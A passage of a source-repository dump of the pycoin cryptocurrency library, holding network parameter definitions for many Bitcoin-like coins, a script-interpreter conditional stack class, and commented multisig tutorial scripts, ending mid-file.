subnet_name="mainnet", 5 | wif_prefix_hex="cc", address_prefix_hex="4c", pay_to_script_prefix_hex="10", 6 | bip32_prv_prefix_hex="02fe52f8", bip32_pub_prefix_hex="02fe52cc") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/dcr.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="DCR", network_name="Decred", subnet_name="mainnet", 5 | wif_prefix_hex="22de", address_prefix_hex="073f", pay_to_script_prefix_hex="071a", 6 | bip32_prv_prefix_hex="02fda4e8", bip32_pub_prefix_hex="02fda926") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/dcrt.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="DCRT", network_name="Decred", subnet_name="testnet", 5 | wif_prefix_hex="230e", address_prefix_hex="0f21", pay_to_script_prefix_hex="0e6c", 6 | bip32_prv_prefix_hex="04358397", bip32_pub_prefix_hex="043587d1") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/dfc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="DFC", network_name="DEFCOIN", subnet_name="mainnet", 5 | wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="02fa54d7", bip32_pub_prefix_hex="02fa54ad") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/dgb.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | network_name="Digibyte", symbol="DGB", subnet_name="mainnet", 6 | wif_prefix_hex="b0", sec_prefix="DGBSEC:", address_prefix_hex="1E", pay_to_script_prefix_hex="3F", 7 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", bech32_hrp="dgb") 8 | -------------------------------------------------------------------------------- /pycoin/symbols/doge.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet", 5 | wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="16", 6 | bip32_prv_prefix_hex="02fac398", bip32_pub_prefix_hex="02facafd") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/fai.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="FAI", network_name="Faircoin", subnet_name="mainnet", 5 | wif_prefix_hex="df", address_prefix_hex="5f", pay_to_script_prefix_hex="24", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/ftc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="FTC", network_name="Feathercoin", subnet_name="mainnet", 5 | wif_prefix_hex="8e", address_prefix_hex="0e", pay_to_script_prefix_hex="60", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/ftx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="FTX", network_name="Feathercoin", subnet_name="testnet", 5 | wif_prefix_hex="c1", address_prefix_hex="41", pay_to_script_prefix_hex="c4", 6 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587cf") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/grs.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.groestlcoin.hash import groestlHash 2 | from pycoin.coins.groestlcoin.parse import GRSParseAPI 3 | from pycoin.coins.groestlcoin.Block import Block as GrsBlock 4 | from pycoin.coins.groestlcoin.Tx import Tx as GrsTx 5 | from pycoin.encoding.b58 import b2a_base58 6 | from pycoin.encoding.hexbytes import h2b 7 | from pycoin.networks.bitcoinish import create_bitcoinish_network 8 | 9 | 10 | network = create_bitcoinish_network( 11 | symbol="GRS", network_name="Groestlcoin", subnet_name="mainnet", tx=GrsTx, block=GrsBlock, 12 | wif_prefix_hex="80", sec_prefix="GRSSEC:", address_prefix_hex="24", pay_to_script_prefix_hex="05", 13 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488B21E", bech32_hrp="grs", 14 | bip49_prv_prefix_hex="049d7878", bip49_pub_prefix_hex="049D7CB2", 15 | bip84_prv_prefix_hex="04b2430c", bip84_pub_prefix_hex="04B24746", 16 | magic_header_hex="F9BEB4D4", default_port=1331, 17 | parse_api_class=GRSParseAPI, 18 | dns_bootstrap=[ 19 | "dnsseed1.groestlcoin.org", "dnsseed2.groestlcoin.org", 20 | "dnsseed3.groestlcoin.org", "dnsseed4.groestlcoin.org" 21 | ] 22 | ) 23 | 24 | # monkey patches 25 | _wif_prefix = h2b("80") 26 | _bip32_prv_prefix = h2b("0488ade4") 27 | _bip32_pub_prefix = h2b("0488B21E") 28 | 29 | 30 | def b2a_hashed_base58_grs(data): 31 | return b2a_base58(data + groestlHash(data)[:4]) 32 | 33 | 34 | def bip32_as_string(blob, as_private): 35 | prefix = _bip32_prv_prefix if as_private else _bip32_pub_prefix 36 | return b2a_hashed_base58_grs(prefix + blob) 37 | 38 | 39 | def wif_for_blob(blob): 40 | return b2a_hashed_base58_grs(_wif_prefix + blob) 41 | 42 | 43 | network.address.b2a = b2a_hashed_base58_grs 44 | network.bip32_as_string = bip32_as_string 45 | network.wif_for_blob = wif_for_blob 46 | 47 | # Cause parsing to fail and tests to skip. 48 | try: 49 | import groestlcoin_hash # noqa 50 | except ImportError: 51 | network.Key = None 52 | 53 | def none_parser(*args, **kwargs): 54 | return None 55 | 56 | for attr in "hierarchical_key private_key public_key address".split(): 57 | setattr(network.parse, attr, none_parser) 58 | -------------------------------------------------------------------------------- /pycoin/symbols/grsrt.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.groestlcoin.hash import groestlHash 2 | from pycoin.coins.groestlcoin.parse import GRSParseAPI 3 | from pycoin.coins.groestlcoin.Block import Block as GrsBlock 4 | from pycoin.coins.groestlcoin.Tx import Tx as GrsTx 5 | from pycoin.encoding.b58 import b2a_base58 6 | from pycoin.encoding.hexbytes import h2b 7 | from pycoin.networks.bitcoinish import create_bitcoinish_network 8 | 9 | 10 | network = create_bitcoinish_network( 11 | symbol="GRSRT", network_name="Groestlcoin", subnet_name="regtest", tx=GrsTx, block=GrsBlock, 12 | wif_prefix_hex="ef", sec_prefix="GRSRTSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 13 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", bech32_hrp="grsrt", 14 | bip49_prv_prefix_hex="044a4e28", bip49_pub_prefix_hex="044a5262", 15 | bip84_prv_prefix_hex="045f18bc", bip84_pub_prefix_hex="045f1cf6", 16 | magic_header_hex="0B110907", default_port=18888, 17 | parse_api_class=GRSParseAPI) 18 | 19 | # monkey patches 20 | _wif_prefix = h2b("ef") 21 | _bip32_prv_prefix = h2b("04358394") 22 | _bip32_pub_prefix = h2b("043587CF") 23 | 24 | 25 | def b2a_hashed_base58_grs(data): 26 | return b2a_base58(data + groestlHash(data)[:4]) 27 | 28 | 29 | def bip32_as_string(blob, as_private): 30 | prefix = _bip32_prv_prefix if as_private else _bip32_pub_prefix 31 | return b2a_hashed_base58_grs(prefix + blob) 32 | 33 | 34 | def wif_for_blob(blob): 35 | return b2a_hashed_base58_grs(_wif_prefix + blob) 36 | 37 | 38 | network.address.b2a = b2a_hashed_base58_grs 39 | network.bip32_as_string = bip32_as_string 40 | network.wif_for_blob = wif_for_blob 41 | 42 | # Cause parsing to fail and tests to skip. 43 | try: 44 | import groestlcoin_hash # noqa 45 | except ImportError: 46 | network.Key = None 47 | 48 | def none_parser(*args, **kwargs): 49 | return None 50 | 51 | for attr in "hierarchical_key private_key public_key address".split(): 52 | setattr(network.parse, attr, none_parser) 53 | -------------------------------------------------------------------------------- /pycoin/symbols/jbs.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="JBS", network_name="Jumbucks", subnet_name="mainnet", 5 | wif_prefix_hex="ab", address_prefix_hex="2b", 6 | bip32_prv_prefix_hex="037a6460", bip32_pub_prefix_hex="037a689a") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/ltc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | network_name="Litecoin", symbol="LTC", subnet_name="mainnet", 6 | wif_prefix_hex="b0", sec_prefix="LTCSEC:", address_prefix_hex="30", pay_to_script_prefix_hex="32", 7 | bip32_prv_prefix_hex="019d9cfe", bip32_pub_prefix_hex="019da462", bech32_hrp="ltc") 8 | -------------------------------------------------------------------------------- /pycoin/symbols/mec.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="MEC", network_name="Megacoin", subnet_name="mainnet", 5 | wif_prefix_hex="B2", sec_prefix="MECSEC:", address_prefix_hex="32", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | magic_header_hex="EDE0E4EE", default_port=7951, 8 | dns_bootstrap=[] 9 | ) 10 | -------------------------------------------------------------------------------- /pycoin/symbols/mona.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | network_name="Monacoin", symbol="MONA", subnet_name="mainnet", 6 | wif_prefix_hex="b0", sec_prefix="MONASEC:", address_prefix_hex="32", pay_to_script_prefix_hex="37", 7 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e", bech32_hrp="mona", 8 | magic_header_hex="fbc0b6db", default_port=9401, 9 | dns_bootstrap=["dnsseed.monacoin.org"]) 10 | -------------------------------------------------------------------------------- /pycoin/symbols/mzc.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="MZC", network_name="Mazacoin", subnet_name="mainnet", 5 | wif_prefix_hex="e0", address_prefix_hex="32", pay_to_script_prefix_hex="5c39", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/pivx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="PIVX", network_name="PIVX", subnet_name="mainnet", 5 | wif_prefix_hex="d4", address_prefix_hex="1e", pay_to_script_prefix_hex="0064", 6 | bip32_prv_prefix_hex="0221312b", bip32_pub_prefix_hex="022d2533") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/polis.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | symbol="POLIS", network_name="Polis", subnet_name="mainnet", 6 | wif_prefix_hex="3C", address_prefix_hex="37", pay_to_script_prefix_hex="3C", 7 | bip32_prv_prefix_hex="03e25d7e", bip32_pub_prefix_hex="03e25945", 8 | magic_header_hex="BD6B0CBF", default_port=24126, 9 | dns_bootstrap=[ 10 | "dnsseed.poliscentral.org", "dnsseed2.poliscentral.org", 11 | "dnsseed3.poliscentral.org", "polis.seeds.mn.zone", "polis.mnseeds.com" 12 | ]) 13 | -------------------------------------------------------------------------------- /pycoin/symbols/ric.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="RIC", network_name="Riecoin", subnet_name="mainnet", 5 | wif_prefix_hex="80", address_prefix_hex="3c", pay_to_script_prefix_hex="05", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/strat.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="STRAT", network_name="Strat", subnet_name="mainnet", 5 | wif_prefix_hex="bf", sec_prefix="STRATSEC:", address_prefix_hex="3f", pay_to_script_prefix_hex="7d", 6 | bip32_prv_prefix_hex="0488ADE4", bip32_pub_prefix_hex="0488B21E", 7 | default_port=16178) 8 | -------------------------------------------------------------------------------- /pycoin/symbols/tbtx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="TBTX", network_name="BitCore", subnet_name="testnet3", 5 | wif_prefix_hex="EF", sec_prefix="TBTXSEC:", address_prefix_hex="6F", pay_to_script_prefix_hex="C4", 6 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", 7 | magic_header_hex="FDD2C8F1", default_port=8666, 8 | dns_bootstrap=[ 9 | "188.68.52.172", "51.15.84.165" 10 | ]) 11 | -------------------------------------------------------------------------------- /pycoin/symbols/tdash.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="tDASH", network_name="Dash", subnet_name="testnet", 5 | wif_prefix_hex="ef", address_prefix_hex="8c", pay_to_script_prefix_hex="13", 6 | bip32_prv_prefix_hex="3a8061a0", bip32_pub_prefix_hex="3a805837") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/tgrs.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.groestlcoin.hash import groestlHash 2 | from pycoin.coins.groestlcoin.parse import GRSParseAPI 3 | from pycoin.coins.groestlcoin.Block import Block as GrsBlock 4 | from pycoin.coins.groestlcoin.Tx import Tx as GrsTx 5 | from pycoin.encoding.b58 import b2a_base58 6 | from pycoin.encoding.hexbytes import h2b 7 | from pycoin.networks.bitcoinish import create_bitcoinish_network 8 | 9 | 10 | network = create_bitcoinish_network( 11 | symbol="TGRS", network_name="Groestlcoin", subnet_name="testnet", tx=GrsTx, block=GrsBlock, 12 | wif_prefix_hex="ef", sec_prefix="TGRSSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 13 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", bech32_hrp="tgrs", 14 | bip49_prv_prefix_hex="044a4e28", bip49_pub_prefix_hex="044a5262", 15 | bip84_prv_prefix_hex="045f18bc", bip84_pub_prefix_hex="045f1cf6", 16 | magic_header_hex="0B110907", default_port=17777, 17 | parse_api_class=GRSParseAPI, 18 | dns_bootstrap=[ 19 | "testnet-seed1.groestlcoin.org", "testnet-seed2.groestlcoin.org" 20 | ] 21 | ) 22 | 23 | # monkey patches 24 | _wif_prefix = h2b("ef") 25 | _bip32_prv_prefix = h2b("04358394") 26 | _bip32_pub_prefix = h2b("043587CF") 27 | 28 | 29 | def b2a_hashed_base58_grs(data): 30 | return b2a_base58(data + groestlHash(data)[:4]) 31 | 32 | 33 | def bip32_as_string(blob, as_private): 34 | prefix = _bip32_prv_prefix if as_private else _bip32_pub_prefix 35 | return b2a_hashed_base58_grs(prefix + blob) 36 | 37 | 38 | def wif_for_blob(blob): 39 | return b2a_hashed_base58_grs(_wif_prefix + blob) 40 | 41 | 42 | network.address.b2a = b2a_hashed_base58_grs 43 | network.bip32_as_string = bip32_as_string 44 | network.wif_for_blob = wif_for_blob 45 | 46 | # Cause parsing to fail and tests to skip. 47 | try: 48 | import groestlcoin_hash # noqa 49 | except ImportError: 50 | network.Key = None 51 | 52 | def none_parser(*args, **kwargs): 53 | return None 54 | 55 | for attr in "hierarchical_key private_key public_key address".split(): 56 | setattr(network.parse, attr, none_parser) 57 | -------------------------------------------------------------------------------- /pycoin/symbols/tmona.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | network_name="Monacoin", symbol="TMONA", subnet_name="testnet4", 6 | wif_prefix_hex="ef", sec_prefix="TMONASEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="75", 7 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587cf", bech32_hrp="tmona", 8 | magic_header_hex="fdd2c8f1", default_port=19403, 9 | dns_bootstrap=["testnet-dnsseed.monacoin.org"]) 10 | -------------------------------------------------------------------------------- /pycoin/symbols/tpivx.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="TPIVX", network_name="PIVX", subnet_name="testnet", 5 | wif_prefix_hex="ef", address_prefix_hex="8b", pay_to_script_prefix_hex="13", 6 | bip32_prv_prefix_hex="3a8061a0", bip32_pub_prefix_hex="3a805837") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/tvi.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="TVI", network_name="Viacoin", subnet_name="testnet", 5 | wif_prefix_hex="ff", address_prefix_hex="7f", pay_to_script_prefix_hex="c4", 6 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587cf") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/via.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="VIA", network_name="Viacoin", subnet_name="mainnet", 5 | wif_prefix_hex="c7", address_prefix_hex="47", pay_to_script_prefix_hex="21", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/xch.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | from pycoin.coins.bcash.Tx import Tx as BcashTx 4 | 5 | 6 | network = create_bitcoinish_network( 7 | symbol="XCH", network_name="Bcash", subnet_name="testnet3", tx=BcashTx, 8 | wif_prefix_hex="ef", sec_prefix="XCHSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 9 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", bech32_hrp="tb", 10 | magic_header_hex="0B110907", default_port=18333, 11 | dns_bootstrap=[ 12 | "seed.bitcoinabc.org", "seed-abc.bitcoinforks.org", 13 | "btccash-seeder.bitcoinunlimited.info", "seed.bitprim.org", 14 | "seed.deadalnix.me", "seeder.criptolayer.net" 15 | ]) 16 | -------------------------------------------------------------------------------- /pycoin/symbols/xdt.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="XDT", network_name="Dogecoin", subnet_name="testnet", 5 | wif_prefix_hex="f1", address_prefix_hex="71", pay_to_script_prefix_hex="c4", 6 | bip32_prv_prefix_hex="0432a9a8", bip32_pub_prefix_hex="0432a243") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/xlt.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | network_name="Litecoin", symbol="XLT", subnet_name="testnet", 6 | wif_prefix_hex="ef", sec_prefix="XLTSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="3a", 7 | bip32_prv_prefix_hex="0436ef7d", bip32_pub_prefix_hex="0436f6e1", bech32_hrp="tltc") 8 | -------------------------------------------------------------------------------- /pycoin/symbols/xmy.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="XMY", network_name="Myriadcoin", subnet_name="mainnet", 5 | wif_prefix_hex="b2", address_prefix_hex="32", pay_to_script_prefix_hex="09", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/symbols/xrt.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | symbol="XRT", network_name="Bitcoin", subnet_name="regtest", 6 | wif_prefix_hex="ef", sec_prefix="XRTSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 7 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", bech32_hrp="bcrt", 8 | magic_header_hex="0B110907", default_port=18444) 9 | -------------------------------------------------------------------------------- /pycoin/symbols/xtg.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | from pycoin.coins.bgold.Tx import Tx as BgoldTx 4 | 5 | 6 | network = create_bitcoinish_network( 7 | symbol="XTG", network_name="Bgold", subnet_name="testnet", tx=BgoldTx, 8 | wif_prefix_hex="ef", sec_prefix="XTNSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 9 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488B21E", bech32_hrp="tb", 10 | magic_header_hex="e1476d44", default_port=18338, 11 | dns_bootstrap=[ 12 | "eu-test-dnsseed.bitcoingold-official.org", "test-dnsseed.bitcoingold.org", 13 | "test-dnsseed.btcgpu.org", "btg.dnsseed.minertopia.org" 14 | ]) 15 | -------------------------------------------------------------------------------- /pycoin/symbols/xtn.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | 4 | network = create_bitcoinish_network( 5 | symbol="XTN", network_name="Bitcoin", subnet_name="testnet3", 6 | wif_prefix_hex="ef", sec_prefix="XTNSEC:", address_prefix_hex="6f", pay_to_script_prefix_hex="c4", 7 | bip32_prv_prefix_hex="04358394", bip32_pub_prefix_hex="043587CF", bech32_hrp="tb", 8 | bip49_prv_prefix_hex="044a4e28", bip49_pub_prefix_hex="044a5262", 9 | bip84_prv_prefix_hex="045f18bc", bip84_pub_prefix_hex="045f1cf6", 10 | magic_header_hex="0B110907", default_port=18333, 11 | dns_bootstrap=[ 12 | "bitcoin.petertodd.org", "testnet-seed.bitcoin.petertodd.org", 13 | "bluematt.me", "testnet-seed.bluematt.me" 14 | ]) 15 | -------------------------------------------------------------------------------- /pycoin/symbols/zec.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.bitcoinish import create_bitcoinish_network 2 | 3 | network = create_bitcoinish_network( 4 | symbol="ZEC", network_name="Zcash", subnet_name="mainnet", 5 | wif_prefix_hex="80", address_prefix_hex="1cb8", pay_to_script_prefix_hex="1cbd", 6 | bip32_prv_prefix_hex="0488ade4", bip32_pub_prefix_hex="0488b21e") 7 | -------------------------------------------------------------------------------- /pycoin/tools/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/tools/__init__.py -------------------------------------------------------------------------------- /pycoin/vm/ConditionalStack.py: -------------------------------------------------------------------------------- 1 | 2 | class ConditionalStack(object): 3 | def __init__(self, error_f): 4 | self.true_count = 0 5 | self.false_count = 0 6 | self.error_f = error_f 7 | 8 | def all_if_true(self): 9 | return self.false_count == 0 10 | 11 | def OP_IF(self, the_bool, reverse_bool=False): 12 | if self.false_count > 0: 13 | self.false_count += 1 14 | return 15 | if reverse_bool: 16 | the_bool = not the_bool 17 | if the_bool: 18 | self.true_count += 1 19 | else: 20 | self.false_count = 1 21 | 22 | def OP_ELSE(self): 23 | if self.false_count > 1: 24 | return 25 | if self.false_count == 1: 26 | self.false_count = 0 27 | self.true_count += 1 28 | else: 29 | if self.true_count == 0: 30 | return self.error_f("OP_ELSE without OP_IF") 31 | self.true_count -= 1 32 | self.false_count += 1 33 | 34 | def OP_ENDIF(self): 35 | if self.false_count > 0: 36 | self.false_count -= 1 37 | else: 38 | if self.true_count == 0: 39 | return self.error_f("OP_ENDIF without OP_IF") 40 | self.true_count -= 1 41 | 42 | def check_final_state(self): 43 | if self.false_count > 0 or self.true_count > 0: 44 | return self.error_f("missing ENDIF") 45 | 46 | def __repr__(self): 47 | if self.true_count or self.false_count: 48 | return "[IfStack true:%d/false:%d]" % (self.true_count, self.false_count) 49 | return "[]" 50 | -------------------------------------------------------------------------------- /pycoin/vm/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/vm/__init__.py -------------------------------------------------------------------------------- /pycoin/wallet/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | # a wallet is a DB of Spendable objects, and a way to query and manage them 3 | 4 | # The wallet accepts pycoinnet bitcoin events (_blockchain_update and _mempool_tx) 5 | # and decides for itself which Spendable objects its interested in. 6 | 7 | # Ideally, it should keep an archive of all Spendable objects its ever received so it can 8 | # handle as many _blockchain_update rollbacks as it would like to. 9 | 10 | # It should also keep a DB of all the transactions it's ever created, so it can watch for 11 | # morphed versions (modulo malleability) 12 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools>=42", "wheel", "setuptools_scm[toml]>=3.5.0"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [tool.setuptools_scm] 6 | local_scheme = "no-local-version" 7 | -------------------------------------------------------------------------------- /recipes/README.md: -------------------------------------------------------------------------------- 1 | These recipes include some command-line utilities written with many comments 2 | and designed to be easy to follow. You can use them as a template for your own 3 | code. -------------------------------------------------------------------------------- /recipes/multisig/1_create_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script shows you how to create a "2-of-3" multisig address. 4 | # It requires BIP32 private key file. 5 | 6 | import os 7 | import sys 8 | 9 | from pycoin.encoding.hexbytes import b2h 10 | from pycoin.symbols.btc import network 11 | 12 | 13 | def main(): 14 | if len(sys.argv) != 2: 15 | print("usage: %s bip32_key_file" % sys.argv[0]) 16 | sys.exit(-1) 17 | with open(sys.argv[1], "r") as f: 18 | hwif = f.readline().strip() 19 | 20 | # turn the bip32 text into a BIP32Node object 21 | BIP32_KEY = network.parse(hwif) 22 | 23 | # create three sec_keys (these are public keys, streamed using the SEC format) 24 | 25 | SEC_0 = BIP32_KEY.subkey_for_path("0/0/0").sec() 26 | SEC_1 = BIP32_KEY.subkey_for_path("0/1/0").sec() 27 | SEC_2 = BIP32_KEY.subkey_for_path("0/2/0").sec() 28 | 29 | public_key_sec_list = [SEC_0, SEC_1, SEC_2] 30 | 31 | # create the 2-of-3 multisig script 32 | # any 2 signatures can release the funds 33 | pay_to_multisig_script = network.contract.for_multisig(2, public_key_sec_list) 34 | 35 | # create a "2-of-3" multisig address_for_multisig 36 | the_address = network.address.for_p2s(pay_to_multisig_script) 37 | 38 | print("Here is your pay 2-of-3 address: %s" % the_address) 39 | 40 | print("Here is the pay 2-of-3 script: %s" % b2h(pay_to_multisig_script)) 41 | print("The hex script should go into p2sh_lookup.hex") 42 | 43 | base_dir = os.path.abspath(os.path.dirname(sys.argv[1])) 44 | print("The three WIFs are written into %s as wif0, wif1 and wif2" % base_dir) 45 | for i in range(3): 46 | wif = BIP32_KEY.subkey_for_path("0/%d/0" % i).wif() 47 | with open(os.path.join(base_dir, "wif%d" % i), "w") as f: 48 | f.write(wif) 49 | 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /recipes/multisig/2_create_coinbase_tx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script creates a fake coinbase transaction to an address of your 4 | # choosing so you can test code that spends this output. 5 | 6 | import sys 7 | 8 | from pycoin.symbols.btc import network 9 | 10 | 11 | def main(): 12 | if len(sys.argv) != 2: 13 | print("usage: %s address" % sys.argv[0]) 14 | sys.exit(-1) 15 | 16 | # validate the address 17 | address = sys.argv[1] 18 | assert network.parse.address(address) is not None 19 | 20 | print("creating coinbase transaction to %s" % address) 21 | 22 | tx_in = network.tx.TxIn.coinbase_tx_in(script=b'') 23 | tx_out = network.tx.TxOut(50*1e8, network.contract.for_address(address)) 24 | tx = network.tx(1, [tx_in], [tx_out]) 25 | print("Here is the tx as hex:\n%s" % tx.as_hex()) 26 | 27 | 28 | if __name__ == '__main__': 29 | main() 30 | -------------------------------------------------------------------------------- /recipes/multisig/3_create_unsigned_tx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This script shows you how to spend coins from an incoming transaction. 4 | # It expects an incoming transaction in hex format a file ("incoming-tx.hex") 5 | # and a bitcoin address, and it spends the coins from the selected output of 6 | # in incoming transaction to the address you choose. 7 | 8 | # It does NOT sign the transaction. That's done by 4_sign_tx.py. 9 | 10 | import sys 11 | 12 | from pycoin.symbols.btc import network 13 | 14 | 15 | def main(): 16 | if len(sys.argv) != 4: 17 | print("usage: %s incoming_tx_hex_filename tx_out_index new_address" % sys.argv[0]) 18 | sys.exit(-1) 19 | 20 | with open(sys.argv[1], "r") as f: 21 | tx_hex = f.readline().strip() 22 | 23 | # get the spendable from the prior transaction 24 | tx = network.tx.from_hex(tx_hex) 25 | tx_out_index = int(sys.argv[2]) 26 | spendable = tx.tx_outs_as_spendable()[tx_out_index] 27 | 28 | # make sure the 